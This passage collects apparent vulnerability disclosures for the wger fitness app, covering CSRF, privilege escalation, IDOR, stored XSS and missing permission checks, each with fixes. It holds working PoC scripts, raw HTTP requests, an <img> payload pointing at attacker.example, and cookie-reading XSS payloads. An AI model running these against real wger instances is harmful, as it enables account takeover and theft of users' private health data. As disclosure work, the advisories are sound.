        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.

• Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
• Integrity: attacker can perform any API mutations permitted to the victim’s account.

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

• GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
• GET /en/gym/documents/list/user/<member_pk> -> documents list view
• GET /en/gym/contract/list/<member_pk> -> contracts list view
• GET /en/gym/user/<member_pk>/config -> user config view
• GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)

RBAC Disproof Protocol:

• Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
• Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403)
• Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:

1. Enumerate and read all private admin notes for every other gym=None user (notes may contain salary data, medical notes, disciplinary records).
2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
3. Read all gym contracts (financial terms, subscription details).
4. Read user configuration details.
5. Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.

Vulnerable code (user.py:169–178):

if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Suggested fix:

trainer_identity_pk = request.session.get('trainer.identity')

if not request.user.has_perm('gym.gym_trainer'):
    if not trainer_identity_pk:
        return HttpResponseForbidden()
    # Verify the original trainer in the session still holds the permission
    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
    if not original_trainer.has_perm('gym.gym_trainer'):
        return HttpResponseForbidden()

# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Summary

Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.

The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).

An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.

Description

wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.

The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.

Root Cause

File: wger/manager/api/permissions.py, lines 30–41

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    if obj.is_template:                                  # ← any template is readable
        return request.method in permissions.SAFE_METHODS  # by any authenticated user

    return False

File: wger/manager/api/views.py, lines 173–199

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    out = LogDisplaySerializer(
        self.get_object().logs_display(),   # ← returns OWNER's logs, not request.user's
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    out = LogStatsDataSerializer(
        self.get_object().calculate_log_statistics()  # ← owner's statistics
    ).data
    return Response(out)

self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.

The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.

Impact

An authenticated attacker can:

1. Enumerate all public template routines across all users: GET /api/v2/routine/?is_template=true&is_public=true

2. Read private workout session notes (freeform text entered by the victim after each workout session)

3. Read full workout history including exercise names, weights, repetitions, and dates

4. Read training statistics including volume, intensity, and set counts per muscle group and mesocycle

This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.

Proof of Concept

Scenario

There are two users in the system:

• alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.

• bob : a second registered user who has never interacted with alice's account.

The attack:

Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.

Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.

Step-by-step

1. Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.

2. Bob calls GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.

3. For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.

4. Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.

No special permissions are needed. A fresh account (1-minute-old) can exploit this.

Python PoC

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:   GET /api/v2/routine/{id}/logs/
          GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE_URL = "http://TARGET_IP"  # replace with target


def get_token(username, password):
    r = requests.post(
        f"{BASE_URL}/api/v2/token",
        json={"username": username, "password": password},
    )
    r.raise_for_status()
    return r.json()["access"]


def exploit(attacker_token):
    headers = {"Authorization": f"Bearer {attacker_token}"}

    # Step 1: Enumerate all public template routines (from ALL users)
    print("[*] Step 1: Enumerating public template routines...")
    r = requests.get(
        f"{BASE_URL}/api/v2/routine/",
        params={"is_template": "true", "is_public": "true"},
        headers=headers,
    )
    routines = r.json().get("results", [])
    print(f"[+] Found {len(routines)} public template routine(s)\n")

    for routine in routines:
        routine_id = routine["id"]
        routine_name = routine["name"]
        print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")

        # Step 2: Fetch the OWNER's workout session logs (IDOR)
        logs_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
            headers=headers,
        )

        if logs_r.status_code == 200:
            sessions = logs_r.json()
            print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
            for session in sessions:
                s = session.get("session", {})
                print(f"    Date:       {s.get('date')}")
                print(f"    Notes:      {s.get('notes')}")   # ← private user notes
                print(f"    Impression: {s.get('impression')}")
                print(f"    Logs:       {len(session.get('logs', []))} exercise entries")
                print()

        # Step 3: Fetch the OWNER's training statistics (IDOR)
        stats_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
            headers=headers,
        )

        if stats_r.status_code == 200:
            stats = stats_r.json()
            print(f"[+] Training statistics for routine #{routine_id}:")
            volume = stats.get("volume", {}).get("mesocycle", {})
            print(f"    Total volume:      {volume.get('total')} kg")
            print(f"    Upper body volume: {volume.get('upper_body')} kg")
            print(f"    Lower body volume: {volume.get('lower_body')} kg")
            print()

        print("-" * 60)


if __name__ == "__main__":
    # Attacker uses their OWN credentials (no privilege needed)
    print("[*] Authenticating as attacker (bob)...")
    token = get_token("bob", "bobpassword")
    print(f"[+] Token acquired\n")

    exploit(token)

Expected output

[*] Authenticating as attacker (bob)...
[+] Token acquired

[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)

[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
    Date:       2024-06-15
    Notes:      SECRET workout note      ← alice's private note
    Impression: 3
    Logs:       0 exercise entries

[+] Training statistics for routine #1:
    Total volume:      0.00 kg
    Upper body volume: 0.00 kg
    Lower body volume: 0.00 kg

Recommended Fix

The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.

# wger/manager/api/views.py

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    routine = self.get_object()
    # Only return logs for the requesting user, regardless of routine ownership
    out = LogDisplaySerializer(
        routine.logs_display(user=request.user),
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    routine = self.get_object()
    out = LogStatsDataSerializer(
        routine.calculate_log_statistics(user=request.user)
    ).data
    return Response(out)

Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    # Template routines are readable, but only their structure 
    # never their owner's personal training history
    if obj.is_template and view.action not in ('logs', 'stats'):
        return request.method in permissions.SAFE_METHODS

    return False

Stored XSS via Unescaped License Attribution Fields

Summary

The AbstractLicenseModel.attribution_link property in wger/utils/models.py constructs HTML strings by directly interpolating user-controlled fields (license_author, license_title, license_object_url, license_author_url, license_derivative_source_url) without any escaping. The resulting HTML is rendered in the ingredient view template using Django's |safe filter, which disables auto-escaping. An authenticated user can create an ingredient with a malicious license_author value containing JavaScript, which executes when any user (including unauthenticated visitors) views the ingredient page.

Severity

High (CVSS 3.1: ~7.6)

• Low-privilege attacker (any authenticated non-temporary user)
• Stored XSS — persists in database
• Triggers on a public page (no authentication needed to view)
• Can steal session cookies, perform actions as other users, redirect to phishing

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected Components

Vulnerable Property

File: wger/utils/models.py:88-110

@property
def attribution_link(self):
    out = ''
    if self.license_object_url:
        out += f'<a href="{self.license_object_url}">{self.license_title}</a>'
    else:
        out += self.license_title  # NO ESCAPING
    out += ' by '
    if self.license_author_url:
        out += f'<a href="{self.license_author_url}">{self.license_author}</a>'
    else:
        out += self.license_author  # NO ESCAPING
    out += f' is licensed under <a href="{self.license.url}">{self.license.short_name}</a>'
    if self.license_derivative_source_url:
        out += (
            f'/ A derivative work from <a href="{self.license_derivative_source_url}">the '
            f'original work</a>'
        )
    return out

Unsafe Template Rendering

File: wger/nutrition/templates/ingredient/view.html

• Line 171: {{ ingredient.attribution_link|safe }}
• Line 226: {{ image.attribution_link|safe }}

Writable Entry Point

File: wger/nutrition/views/ingredient.py:154-175

class IngredientCreateView(WgerFormMixin, CreateView):
    model = Ingredient
    form_class = IngredientForm  # includes license_author field

URL: login_required(ingredient.IngredientCreateView.as_view()) — any authenticated non-temporary user.

Form fields (from wger/nutrition/forms.py:295-313): includes license_author (TextField, max_length=3500) — no sanitization.

Models Affected

6 models inherit from AbstractLicenseModel:

• Exercise, ExerciseImage, ExerciseVideo, Translation (exercises module)
• Ingredient, Image (nutrition module)

Only the Ingredient and nutrition Image models' attribution links are currently rendered with |safe in templates.

Root Cause

1. attribution_link constructs raw HTML by string interpolation of user-controlled fields without calling django.utils.html.escape() or django.utils.html.format_html()
2. The template renders the result with |safe, bypassing Django's auto-escaping
3. The license_author field in IngredientForm has no input sanitization
4. The set_author() method only sets a default value if the field is empty — it does not sanitize user-provided values

Reproduction Steps (Verified)

Prerequisites

• A wger instance with user registration enabled (default)
• An authenticated user account (non-temporary)

Steps

1. Register/login to a wger instance

2. Create a malicious ingredient via the web form at /en/nutrition/ingredient/add/:

   • Set Name to any valid name (e.g., "XSS Form Verified")
   • Set Energy to 125, Protein to 10, Carbohydrates to 10, Fat to 5 (energy must approximately match macros)
   • Set Author(s) (license_author) to:

     <img src=x onerror="alert(document.cookie)">
     

   • Submit the form — the form validates and saves successfully with no sanitization

3. View the ingredient page (public URL, no auth needed):

   • Navigate to the newly created ingredient's detail page
   • The XSS payload executes in the browser

Verified PoC Output

The rendered HTML in the ingredient detail page (line 171 of ingredient/view.html) contains:

<small>
     by <img src=x onerror=alert(1)> is licensed under <a href="https://creativecommons.org/licenses/by-sa/3.0/deed.en">CC-BY-SA 3</a>
</small>

The <img> tag with onerror handler is injected directly into the page DOM and executes JavaScript when the browser attempts to load the non-existent image.

Alternative API Path (ExerciseImage)

For users who are "trustworthy" (account >3 weeks old + verified email):

# Upload exercise image with XSS in license_author
curl -X POST https://wger.example.com/api/v2/exerciseimage/ \
  -H "Authorization: Token <token>" \
  -F "exercise=1" \
  -F "image=@photo.jpg" \
  -F 'license_author=<img src=x onerror="alert(document.cookie)">' \
  -F "license=2"

Note: ExerciseImage's attribution_link is not currently rendered with |safe in exercise templates, but the data is stored with XSS payloads and would execute if any template renders it with |safe in the future. The API serializer also returns the unescaped attribution_link data, which could cause XSS in API consumers (mobile apps, SPAs).

Impact

• Session hijacking: Steal admin session cookies to gain full control
• Account takeover: Modify other users' passwords or email addresses
• Data theft: Access other users' workout plans, nutrition data, and personal measurements
• Worm-like propagation: Malicious ingredient could inject XSS that creates more malicious ingredients
• Phishing: Redirect users to fake login pages

Suggested Fix

Replace the attribution_link property with properly escaped HTML using Django's format_html():

from django.utils.html import format_html, escape

@property
def attribution_link(self):
    parts = []

    if self.license_object_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_object_url, self.license_title))
    else:
        parts.append(escape(self.license_title))

    parts.append(' by ')

    if self.license_author_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_author_url, self.license_author))
    else:
        parts.append(escape(self.license_author))

    parts.append(format_html(
        ' is licensed under <a href="{}">{}</a>',
        self.license.url, self.license.short_name
    ))

    if self.license_derivative_source_url:
        parts.append(format_html(
            '/ A derivative work from <a href="{}">the original work</a>',
            self.license_derivative_source_url
        ))

    return mark_safe(''.join(str(p) for p in parts))

Alternatively, remove the |safe filter from the templates and escape in the property, though this would break the anchor tags.

References

• Django Security: Cross Site Scripting (XSS) protection
• Django format_html() documentation
• OWASP: Stored Cross-Site Scripting

Summary

wger exposes a global configuration edit endpoint at /config/gym-config/edit implemented by GymConfigUpdateView. The view declares permission_required = 'config.change_gymconfig' but does not enforce it because it inherits WgerFormMixin (ownership-only checks) instead of the project’s permission-enforcing mixin (WgerPermissionMixin) .

The edited object is a singleton (GymConfig(pk=1)) and the model does not implement get_owner_object(), so WgerFormMixin skips ownership enforcement. As a result, a low-privileged authenticated user can modify installation-wide configuration and trigger server-side side effects in GymConfig.save().

This is a vertical privilege escalation from a regular user to privileged global configuration control. The application explicitly declares permission_required = 'config.change_gymconfig', demonstrating that the action is intended to be restricted; however, this requirement is never enforced at runtime.

Affected endpoint

The config URLs map as follows.

File: wger/config/urls.py

patterns_gym_config = [
    path('edit', gym_config.GymConfigUpdateView.as_view(), name='edit'),
]

urlpatterns = [
    path(
        'gym-config/',
        include((patterns_gym_config, 'gym_config'), namespace='gym_config'),
    ),
]

This resolves to:

/config/gym-config/edit

Root cause

The view declares a permission but does not enforce it

File: wger/config/views/gym_config.py

class GymConfigUpdateView(WgerFormMixin, UpdateView):
    model = GymConfig
    fields = ('default_gym',)
    permission_required = 'config.change_gymconfig'
    success_url = reverse_lazy('gym:gym:list')
    title = gettext_lazy('Edit')

    def get_object(self):
        return GymConfig.objects.get(pk=1)

The permission string exists, but WgerFormMixin does not check permission_required.

The project’s permission mixin exists but is not used

File: wger/utils/generic_views.py

class WgerPermissionMixin:
    permission_required = False
    login_required = False

    def dispatch(self, request, *args, **kwargs):
        if self.login_required or self.permission_required:
            if not request.user.is_authenticated:
                return HttpResponseRedirect(
                    reverse_lazy('core:user:login') + f'?next={request.path}'
                )

            if self.permission_required:
                has_permission = False
                if isinstance(self.permission_required, tuple):
                    for permission in self.permission_required:
                        if request.user.has_perm(permission):
                            has_permission = True
                elif request.user.has_perm(self.permission_required):
                    has_permission = True

                if not has_permission:
                    return HttpResponseForbidden('You are not allowed to access this object')

        return super(WgerPermissionMixin, self).dispatch(request, *args, **kwargs)

GymConfigUpdateView does not inherit this mixin, so none of the login/permission logic runs.

The mixin that is used performs only ownership checks, and GymConfig has no owner

File: wger/utils/generic_views.py

class WgerFormMixin(ModelFormMixin):
    def dispatch(self, request, *args, **kwargs):
        self.kwargs = kwargs
        self.request = request

        if self.owner_object:
            owner_object = self.owner_object['class'].objects.get(pk=kwargs[self.owner_object['pk']])
        else:
            try:
                owner_object = self.get_object().get_owner_object()
            except AttributeError:
                owner_object = False

        if owner_object and owner_object.user != self.request.user:
            return HttpResponseForbidden('You are not allowed to access this object')

        return super(WgerFormMixin, self).dispatch(request, *args, **kwargs)

File: wger/config/models/gym_config.py

class GymConfig(models.Model):
    default_gym = models.ForeignKey(
        Gym,
        verbose_name=_('Default gym'),
        # ...
        null=True,
        blank=True,
        on_delete=models.CASCADE,
    )
    # No get_owner_object() method

Because GymConfig does not implement get_owner_object(), WgerFormMixin catches AttributeError and sets owner_object = False, skipping any access restriction.

Security impact

This is not a cosmetic setting: GymConfig.save() performs installation-wide side effects.

File: wger/config/models/gym_config.py

def save(self, *args, **kwargs):
    if self.default_gym:
        UserProfile.objects.filter(gym=None).update(gym=self.default_gym)

        for profile in UserProfile.objects.filter(gym=self.default_gym):
            user = profile.user
            if not is_any_gym_admin(user):
                try:
                    user.gymuserconfig
                except GymUserConfig.DoesNotExist:
                    config = GymUserConfig()
                    config.gym = self.default_gym
                    config.user = user
                    config.save()

    return super(GymConfig, self).save(*args, **kwargs)

